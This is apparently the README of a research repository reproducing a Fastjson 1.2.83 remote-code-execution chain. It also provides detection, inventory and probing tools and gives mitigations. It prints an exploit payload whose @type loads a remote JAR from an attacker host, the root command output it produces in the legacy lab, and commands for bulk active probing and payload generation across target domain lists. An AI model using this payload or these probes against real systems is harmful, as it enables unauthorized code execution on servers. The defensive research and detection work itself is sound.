This repository now preserves two distinct Fastjson research tracks:

• modern-fd/ is the recommended, marker-only reconstruction of the Fastjson 1.2.83 single-body remote-JAR/file-descriptor chain on Spring Boot 3, normal embedded Tomcat and JDK 17. It uses the literal fixed-DTO sink JSON.parseObject(body, BoundEnvelope.class) with AutoType disabled.
• The original top-level Docker Compose lab preserves the earlier JDK 8 direct remote-class route. It is command-capable and should be treated as a legacy, isolated proof rather than the modern-JDK method.
• scanner/ contains passive request/log detection, static artifact inventory and a non-executing reachability probe.

The bug: ParserConfig.checkAutoType probes every @type value for the @JSONType annotation by doing getResourceAsStream(typeName.replace('.','/') + ".class"). On modern Linux/JDK combinations, a remote jar:http probe can leave the JAR cached behind an open descriptor; later jar:file:/proc/self/fd/N probes in the same body can reopen it under valid class names and initialize an annotated class. The exact 1.2.83 composition works with AutoType disabled and through a fixed DTO containing List<Object>. Binding alone is therefore not a mitigation. Full walk-through: docs/MECHANISM.md.

The companion whole-project review covered 2,041 callable/static-initializer rows across all 193 Fastjson 1.2.83 production Java files. The table below prioritizes the highest-impact results; it is not a claim that every Fastjson deployment is affected. This repository directly reproduces F105. The remaining entries summarize separately sealed source review and bounded lab evidence.

See findings/FINDINGS.md for validation labels, prerequisites, lower-tier findings, remediation priorities, and explicit negative boundaries.

This repository is for education, defensive research, and authorized testing of systems you own or are explicitly permitted to test. Host publication, when supported for the modern lab's internal network, is requested on 127.0.0.1 only; its scripts drive the test entirely inside that isolated network. The modern lab has no process-execution primitive and sets only a fixed in-JVM marker. The legacy JDK 8 lab does execute id and writes its output to /tmp/PWNED; keep it isolated. Do not point the legacy exploit or active probe at unauthorized systems.

The scanner/ directory ships four dependency-free Python 3 tools (no pip installs).

• fjdetect.py — passively inspect decoded JSON request bodies or structured JSON logs for remote-JAR seeds and /proc/self/fd or /dev/fd sequences.
• fjscan_static.py — inventory jars/wars/ears for the vulnerable combination (content-backed, metadata-verified 1.2.83 × actual Spring Boot loader class content). Probe-bearing 1.2.48–1.2.82 releases and metadata/filename-only candidates are reported separately for review. CI-gate friendly (exit 2 on EXPOSED).
• fjscan_probe.py — active, safe reachability check: fires the @type at a canary you control (built-in listener or Burp Collaborator / interactsh) and correlates the resource-fetch callback. Its built-in listener returns an empty 404; configure external listeners equivalently. A callback does not prove class loading or RCE.
• fjpayload.py — generate remote-resource fetch bodies for manual testing; use only an empty/404 listener when execution is not intended.

# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl

# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16

# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
#    DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -

# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt

domains.txt = one target per line — a full [METHOD ]URL or a bare domain (expanded with --scheme / --target-port / --path); # comments allowed:

api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080

fjscan_probe.py (active probe)

fjscan_static.py (inventory): <paths…> · --threads N (default 8) · --json (machine output; exit code 2 if any EXPOSED).

fjpayload.py (generator): <collaborator> · --targets-file/-f <file\|-> (bulk) · --port · --token · --wrap · --entry.

Collaborator note: the @JSONType jar: sink does typeName.replace('.','/'), so every dot in the host becomes a slash — a dotted Burp Collaborator subdomain (abc.oastify.com) can't be delivered through it (the tools fall back to an integer IP + URL path token). To get a callback into a public Collaborator, use --probe-type dns: the java.net.Inet4Address primitive accepts a dotted host and fires a DNS interaction (<tok>.<sub>.oastify.com), confirming the Inet4Address parse primitive + egress. That is prerequisite evidence, not proof of the remote-JAR/FD terminal. See scanner/README.md.

Requirements: Docker + Docker Compose, and outbound access to Maven Central on the first build (to fetch fastjson / spring-boot-loader / asm).

cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh

The positive case sends one body to a normal embedded-Tomcat request thread. Its literal sink is final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class). Success is only the fixed property and log token FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1; the response still returns a normally bound BoundEnvelope. The evidence directory contains the request, response, container metadata, logs and SHA-256 manifest.

Controls cover ordinary JSON, FD candidates without a seed, a seed followed by impossible descriptors, and SafeMode. See modern-fd/README.md.

The FearsOff disclosure shows the same retained-JAR terminal on JDK 21 using a process-persistent cache and one FD candidate per request. This repository's modern lab instead reproduces a single-body JDK 17 composition: the failure-soft seed and bounded FD candidates are carried by one fixed-DTO request. JDK 21 remains externally reported; it is not a runtime result produced here.

The original top-level Compose project remains available for reproducing the older one-stage route. Unlike modern-fd/, it is command-capable and should be run only in the isolated lab:

make up
make exploit
make down

Expected make exploit output:

[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"}     <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------

The ClassCastException is the tell that binding is not a mitigation: the attacker class runs its <clinit> during the @type probe, before fastjson tries to cast it to Dto.

• Direct-class lane only: changing target/Dockerfile to JDK 17 blocks this legacy crafted-name definition and leaves a fetch. That result does not test or mitigate the separate /proc/self/fd continuation in modern-fd/.
• Prove it's not autoType: the target never calls setAutoTypeSupport(true) — check the banner at http://127.0.0.1:8080/.
• Custom command: PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker.

Enable -Dfastjson.parser.safeMode=true on the ordinary handler-free path or use the vendor's com.alibaba:fastjson:1.2.83_noneautotype build where immediate migration is not possible, and audit installed AutoTypeCheckHandlers. Restrict JVM egress; migrate untrusted parsing away from Fastjson 1.x; alert on decoded @type remote-JAR seeds and /proc/self/fd or /dev/fd candidates both within one request and correlated across requests. DTO binding and JDK 9+ are not complete mitigations for the modern composition.

• Original disclosure and technical post: Kirill Firsov (@k_firsov, FearsOff) — FastJson 1.2.83 Remote Code Execution (July 21, 2026). It discloses the same JDK 8 direct-class and modern retained-JAR /proc/self/fd mechanisms reconstructed here.
• Maintainer advisory: Alibaba — Security Advisory: Remote Code Execution in fastjson 1.2.68–1.2.83. It reports typed-API reachability plus verification across Spring Boot 2.x–4.x and JDK 8/11/17/21. Those wider version/runtime matrices are upstream-reported; this repository's runtime proof remains Fastjson 1.2.83 on the documented JDK 8 and JDK 17 lanes.
• Public proof-of-concept & the @JSONType / jar-URL-internal-name technique: @wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC. attacker/Gen.java re-implements that technique for this lab.
• Modern-JDK FD-chain reports: the WeChat article and the earlier detailed Cnyes report supplied the retained-JAR /proc/self/fd hypothesis. They were treated as external reports, not as independent runtime proof.
• Public Linux FD implementation: DmTomHL/fastjson-1.2.83-gadget-rce narrowed the reconstruction gap. Its command-capable code was reviewed statically and was not executed; modern-fd/ uses independently authored marker-only classes and a normal fixed-DTO Tomcat endpoint.
• fastjson — https://github.com/alibaba/fastjson (see also safeMode, and the autoType history behind CVE-2022-25845).

This lab and the scanner/ tooling package those findings into a reproducible testbed and defensive checks. Not affiliated with or endorsed by the researchers above.